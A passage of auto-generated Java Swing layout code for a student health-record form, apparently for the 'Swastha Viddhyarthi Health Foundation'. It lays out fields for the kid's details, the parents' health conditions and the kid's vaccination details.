jPanel14.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(0, 0, 0)));
jPanel1.setBackground(new java.awt.Color(102, 204, 0));
jPanel1.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(0, 0, 0)));
jLabel1.setFont(new java.awt.Font("Microsoft PhagsPa", 1, 18)); // NOI18N
jLabel1.setForeground(new java.awt.Color(51, 51, 255));
jLabel1.setText("MY kid Information");
javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
jPanel1.setLayout(jPanel1Layout);
jPanel1Layout.setHorizontalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addGap(54, 54, 54)
.addComponent(jLabel1)
.addContainerGap(87, Short.MAX_VALUE))
);
jPanel1Layout.setVerticalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addGap(48, 48, 48)
.addComponent(jLabel1)
.addGap(0, 0, Short.MAX_VALUE))
);
jPanel2.setBackground(new java.awt.Color(102, 204, 0));
jPanel2.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(0, 0, 0)));
jLabel2.setFont(new java.awt.Font("Microsoft PhagsPa", 1, 24)); // NOI18N
jLabel2.setForeground(new java.awt.Color(255, 0, 0));
jLabel2.setText("Swastha Viddhyarthi Health Foundation");
jPanel4.setBackground(new java.awt.Color(51, 204, 0));
javax.swing.GroupLayout jPanel4Layout = new javax.swing.GroupLayout(jPanel4);
jPanel4.setLayout(jPanel4Layout);
jPanel4Layout.setHorizontalGroup(
jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGap(0, 0, Short.MAX_VALUE)
);
jPanel4Layout.setVerticalGroup(
jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGap(0, 97, Short.MAX_VALUE)
);
javax.swing.GroupLayout jPanel2Layout = new javax.swing.GroupLayout(jPanel2);
jPanel2.setLayout(jPanel2Layout);
jPanel2Layout.setHorizontalGroup(
jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel2Layout.createSequentialGroup()
.addGap(70, 70, 70)
.addComponent(jLabel2)
.addGap(43, 43, 43)
.addComponent(jPanel4, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addContainerGap())
);
jPanel2Layout.setVerticalGroup(
jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel2Layout.createSequentialGroup()
.addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel2Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jPanel4, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGroup(jPanel2Layout.createSequentialGroup()
.addGap(45, 45, 45)
.addComponent(jLabel2)))
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
jPanel16.setBackground(new java.awt.Color(51, 204, 0));
jPanel16.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(0, 0, 0)));
jLabel3.setIcon(new javax.swing.ImageIcon("C:\\Users\\Tauqeer\\Desktop\\logo.jpg")); // NOI18N
javax.swing.GroupLayout jPanel16Layout = new javax.swing.GroupLayout(jPanel16);
jPanel16.setLayout(jPanel16Layout);
jPanel16Layout.setHorizontalGroup(
jPanel16Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel16Layout.createSequentialGroup()
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jLabel3, javax.swing.GroupLayout.PREFERRED_SIZE, 136, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap())
);
jPanel16Layout.setVerticalGroup(
jPanel16Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jLabel3, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
);
javax.swing.GroupLayout jPanel14Layout = new javax.swing.GroupLayout(jPanel14);
jPanel14.setLayout(jPanel14Layout);
jPanel14Layout.setHorizontalGroup(
jPanel14Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel14Layout.createSequentialGroup()
.addGap(1, 1, 1)
.addComponent(jPanel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(0, 0, 0)
.addComponent(jPanel2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(0, 0, 0)
.addComponent(jPanel16, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
jPanel14Layout.setVerticalGroup(
jPanel14Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jPanel2, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jPanel16, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
);
jPanel3.setBackground(new java.awt.Color(255, 255, 255));
jPanel17.setBackground(new java.awt.Color(255, 255, 255));
jPanel17.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(0, 0, 0)));
jTextArea2.setColumns(20);
jTextArea2.setRows(5);
jTextArea2.setWrapStyleWord(true);
jScrollPane2.setViewportView(jTextArea2);
javax.swing.GroupLayout jPanel17Layout = new javax.swing.GroupLayout(jPanel17);
jPanel17.setLayout(jPanel17Layout);
jPanel17Layout.setHorizontalGroup(
jPanel17Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel17Layout.createSequentialGroup()
.addComponent(jScrollPane2, javax.swing.GroupLayout.PREFERRED_SIZE, 529, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(0, 0, Short.MAX_VALUE))
);
jPanel17Layout.setVerticalGroup(
jPanel17Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jScrollPane2, javax.swing.GroupLayout.PREFERRED_SIZE, 68, javax.swing.GroupLayout.PREFERRED_SIZE)
);
jPanel22.setBackground(new java.awt.Color(102, 204, 0));
jPanel22.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(0, 0, 0)));
jLabel19.setText("HEALTH INFORMATION(Parents)");
javax.swing.GroupLayout jPanel22Layout = new javax.swing.GroupLayout(jPanel22);
jPanel22.setLayout(jPanel22Layout);
jPanel22Layout.setHorizontalGroup(
jPanel22Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel22Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jLabel19)
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
jPanel22Layout.setVerticalGroup(
jPanel22Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel22Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jLabel19)
.addContainerGap())
);
jPanel23.setBackground(new java.awt.Color(255, 255, 255));
jPanel23.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(0, 0, 0)));
jLabel17.setText("Contact No.");
jLabel18.setText("Email");
jTextField9.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jTextField9ActionPerformed(evt);
}
});
javax.swing.GroupLayout jPanel23Layout = new javax.swing.GroupLayout(jPanel23);
jPanel23.setLayout(jPanel23Layout);
jPanel23Layout.setHorizontalGroup(
jPanel23Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel23Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jLabel17)
.addGap(18, 18, 18)
.addComponent(jTextField9, javax.swing.GroupLayout.PREFERRED_SIZE, 169, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(282, 282, 282)
.addComponent(jLabel18)
.addGap(18, 18, 18)
.addComponent(jTextField10, javax.swing.GroupLayout.PREFERRED_SIZE, 343, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
jPanel23Layout.setVerticalGroup(
jPanel23Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel23Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel23Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel17)
.addComponent(jLabel18)
.addComponent(jTextField9, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jTextField10, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addContainerGap())
);
jPanel24.setBackground(new java.awt.Color(255, 255, 255));
jPanel24.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(0, 0, 0)));
jCheckBox3.setText("High BP");
jCheckBox2.setText("Asthama");
jCheckBox4.setText("Others");
jCheckBox1.setText("Diabetes");
jCheckBox1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jCheckBox1ActionPerformed(evt);
}
});
jLabel25.setText("Specify");
jTextField11.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jTextField11ActionPerformed(evt);
}
});
javax.swing.GroupLayout jPanel24Layout = new javax.swing.GroupLayout(jPanel24);
jPanel24.setLayout(jPanel24Layout);
jPanel24Layout.setHorizontalGroup(
jPanel24Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel24Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jCheckBox1)
.addGap(55, 55, 55)
.addComponent(jCheckBox2)
.addGap(68, 68, 68)
.addComponent(jCheckBox3)
.addGap(56, 56, 56)
.addComponent(jCheckBox4)
.addGap(101, 101, 101)
.addComponent(jLabel25)
.addGap(18, 18, 18)
.addComponent(jTextField11, javax.swing.GroupLayout.PREFERRED_SIZE, 370, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
jPanel24Layout.setVerticalGroup(
jPanel24Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel24Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel24Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jCheckBox1)
.addComponent(jCheckBox2)
.addComponent(jCheckBox3)
.addComponent(jCheckBox4)
.addComponent(jLabel25)
.addComponent(jTextField11, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addContainerGap())
);
jPanel26.setBackground(new java.awt.Color(102, 204, 0));
jPanel26.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(0, 0, 0)));
jLabel21.setBackground(new java.awt.Color(51, 204, 0));
jLabel21.setText("Vaccination details of Kid");
javax.swing.GroupLayout jPanel26Layout = new javax.swing.GroupLayout(jPanel26);
jPanel26.setLayout(jPanel26Layout);
jPanel26Layout.setHorizontalGroup(
jPanel26Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel26Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jLabel21, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addContainerGap())
);
jPanel26Layout.setVerticalGroup(
jPanel26Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel26Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jLabel21)
.addContainerGap())
);
jPanel27.setBackground(new java.awt.Color(255, 255, 255));
jPanel27.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(0, 0, 0)));
jLabel20.setText("Habe you been diagnosed with or are you being treated for");
javax.swing.GroupLayout jPanel27Layout = new javax.swing.GroupLayout(jPanel27);
jPanel27.setLayout(jPanel27Layout);
jPanel27Layout.setHorizontalGroup(
jPanel27Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel27Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jLabel20, javax.swing.GroupLayout.PREFERRED_SIZE, 1038, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
jPanel27Layout.setVerticalGroup(
jPanel27Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel27Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jLabel20)
.addContainerGap())
);
jPanel28.setBackground(new java.awt.Color(255, 255, 255));
jPanel28.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(0, 0, 0)));
jCheckBox6.setText("Measles");
jCheckBox5.setText("Polio");
jCheckBox8.setText("Hepatitis B");
jCheckBox8.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jCheckBox8ActionPerformed(evt);
}
});
jCheckBox9.setText("Hepatitis E");
jCheckBox7.setText("Hepatitis A");
javax.swing.GroupLayout jPanel28Layout = new javax.swing.GroupLayout(jPanel28);
jPanel28.setLayout(jPanel28Layout);
jPanel28Layout.setHorizontalGroup(
jPanel28Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel28Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jCheckBox5)
.addGap(48, 48, 48)
.addComponent(jCheckBox6)
.addGap(39, 39, 39)
.addComponent(jCheckBox7)
.addGap(39, 39, 39)
.addComponent(jCheckBox8)
.addGap(35, 35, 35)
.addComponent(jCheckBox9)
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
jPanel28Layout.setVerticalGroup(
jPanel28Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel28Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel28Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jCheckBox5)
.addComponent(jCheckBox6)
.addComponent(jCheckBox7)
.addComponent(jCheckBox8)
.addComponent(jCheckBox9))
.addContainerGap())
);
javax.swing.GroupLayout jPanel3Layout = new javax.swing.GroupLayout(jPanel3);
jPanel3.setLayout(jPanel3Layout);
jPanel3Layout.setHorizontalGroup(
jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel3Layout.createSequentialGroup()
.addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false)
.addComponent(jPanel28, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jPanel26, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jPanel24, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jPanel27, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jPanel22, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jPanel23, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addGroup(javax.swing.GroupLayout.Alignment.LEADING, jPanel3Layout.createSequentialGroup()
.addGap(554, 554, 554)
.addComponent(jPanel17, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)))
.addGap(0, 0, Short.MAX_VALUE))
);
jPanel3Layout.setVerticalGroup(
jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel3Layout.createSequentialGroup()
.addGap(406, 406, 406)
.addComponent(jPanel17, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(0, 0, 0)
.addComponent(jPanel23, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(0, 0, 0)
.addComponent(jPanel22, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(0, 0, 0)
.addComponent(jPanel27, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(0, 0, 0)
.addComponent(jPanel24, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(0, 0, Short.MAX_VALUE)
.addComponent(jPanel26, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(0, 0, 0)
.addComponent(jPanel28, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
);
jPanel5.setBackground(new java.awt.Color(255, 255, 255));
jPanel5.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(0, 0, 0)));
jTextField1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jTextField1ActionPerformed(evt);
}
});
jLabel5.setText("Date");
jLabel4.setText("SV Registration No.");
javax.swing.GroupLayout jPanel5Layout = new javax.swing.GroupLayout(jPanel5);
jPanel5.setLayout(jPanel5Layout);
jPanel5Layout.setHorizontalGroup(
jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel5Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jLabel4)
.addGap(18, 18, 18)
.addComponent(jTextField1, javax.swing.GroupLayout.PREFERRED_SIZE, 333, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(286, 286, 286)
.addComponent(jLabel5)
.addGap(32, 32, 32)
.addComponent(jTextField2, javax.swing.GroupLayout.PREFERRED_SIZE, 175, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
jPanel5Layout.setVerticalGroup(
jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel5Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel4)
.addComponent(jTextField1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel5)
.addComponent(jTextField2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addContainerGap())
);
jPanel6.setBackground(new java.awt.Color(255, 255, 255));
jPanel6.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(0, 0, 0)));
jLabel6.setText("<NAME> student");
jTextField4.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jTextField4ActionPerformed(evt);
}
});
javax.swing.GroupLayout jPanel6Layout = new javax.swing.GroupLayout(jPanel6);
jPanel6.setLayout(jPanel6Layout);
jPanel6Layout.setHorizontalGroup(
jPanel6Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel6Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jLabel6)
.addGap(36, 36, 36)
.addComponent(jTextField4, javax.swing.GroupLayout.PREFERRED_SIZE, 333, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
jPanel6Layout.setVerticalGroup(
jPanel6Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel6Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel6Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(jTextField4, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel6))
.addContainerGap())
);
jPanel7.setBackground(new java.awt.Color(255, 255, 255));
jPanel7.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(0, 0, 0)));
jLabel7.setText("<NAME>");
jTextField5.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jTextField5ActionPerformed(evt);
}
});
javax.swing.GroupLayout jPanel7Layout = new javax.swing.GroupLayout(jPanel7);
jPanel7.setLayout(jPanel7Layout);
jPanel7Layout.setHorizontalGroup(
jPanel7Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel7Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jLabel7)
.addGap(47, 47, 47)
.addComponent(jTextField5, javax.swing.GroupLayout.PREFERRED_SIZE, 333, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
jPanel7Layout.setVerticalGroup(
jPanel7Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel7Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel7Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(jTextField5, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel7))
.addContainerGap())
);
jPanel8.setBackground(new java.awt.Color(255, 255, 255));
jPanel8.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(0, 0, 0)));
jLabel8.setText("<NAME>");
jTextField6.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jTextField6ActionPerformed(evt);
}
});
javax.swing.GroupLayout jPanel8Layout = new javax.swing.GroupLayout(jPanel8);
jPanel8.setLayout(jPanel8Layout);
jPanel8Layout.setHorizontalGroup(
jPanel8Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel8Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jLabel8)
.addGap(44, 44, 44)
.addComponent(jTextField6, javax.swing.GroupLayout.PREFERRED_SIZE, 333, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
jPanel8Layout.setVerticalGroup(
jPanel8Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel8Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel8Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel8)
.addComponent(jTextField6, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addContainerGap())
);
jPanel9.setBackground(new java.awt.Color(255, 255, 255));
jPanel9.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(0, 0, 0)));
jLabel10.setText("Section");
jLabel11.setText("Academic Year");
jLabel9.setText("class");
jComboBox4.setModel(new javax.swing.DefaultComboBoxModel<>(new String[] { "Item 1", "Item 2", "Item 3", "Item 4" }));
jTextField7.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jTextField7ActionPerformed(evt);
}
});
javax.swing.GroupLayout jPanel9Layout = new javax.swing.GroupLayout(jPanel9);
jPanel9.setLayout(jPanel9Layout);
jPanel9Layout.setHorizontalGroup(
jPanel9Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel9Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jLabel9)
.addGap(41, 41, 41)
.addComponent(jComboBox4, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(198, 198, 198)
.addComponent(jLabel10)
.addGap(31, 31, 31)
.addComponent(jTextField7, javax.swing.GroupLayout.PREFERRED_SIZE, 120, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(157, 157, 157)
.addComponent(jLabel11)
.addGap(41, 41, 41)
.addComponent(jTextField8, javax.swing.GroupLayout.PREFERRED_SIZE, 173, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
jPanel9Layout.setVerticalGroup(
jPanel9Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel9Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel9Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel9)
.addComponent(jLabel10)
.addComponent(jLabel11)
.addComponent(jComboBox4, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jTextField7, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jTextField8, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addContainerGap())
);
jPanel10.setBackground(new java.awt.Color(255, 255, 255));
jPanel10.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(0, 0, 0)));
jLabel12.setText("Gender");
jRadioButton1.setText("Male");
jRadioButton1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jRadioButton1ActionPerformed(evt);
}
});
jRadioButton2.setText("Female");
javax.swing.GroupLayout jPanel10Layout = new javax.swing.GroupLayout(jPanel10);
jPanel10.setLayout(jPanel10Layout);
jPanel10Layout.setHorizontalGroup(
jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel10Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jLabel12)
.addGap(46, 46, 46)
.addComponent(jRadioButton1)
.addGap(45, 45, 45)
.addComponent(jRadioButton2)
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
jPanel10Layout.setVerticalGroup(
jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel10Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel10Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel12)
.addComponent(jRadioButton1)
.addComponent(jRadioButton2))
.addGap(32, 32, 32))
);
jPanel11.setBackground(new java.awt.Color(255, 255, 255));
jPanel11.setBorder(javax.swing.BorderFactory.createLineBorder(new java.awt.Color(0, 0, 0)));
jLabel13.setText("Blood Group");
javax.swing.GroupLayout jPanel11Layout = new javax.swing.GroupLayout(jPanel11);
jPanel11.setLayout(jPanel11Layout);
jPanel11Layout.setHorizontalGroup(
jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel11Layout.createSequentialGroup()
.addContainerGap()
.addComponent(jLabel13)
.addGap(29, 29, 29)
.addComponent(jTextField3, javax.swing.GroupLayout.PREFERRED_SIZE, 131, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
jPanel11Layout.setVerticalGroup(
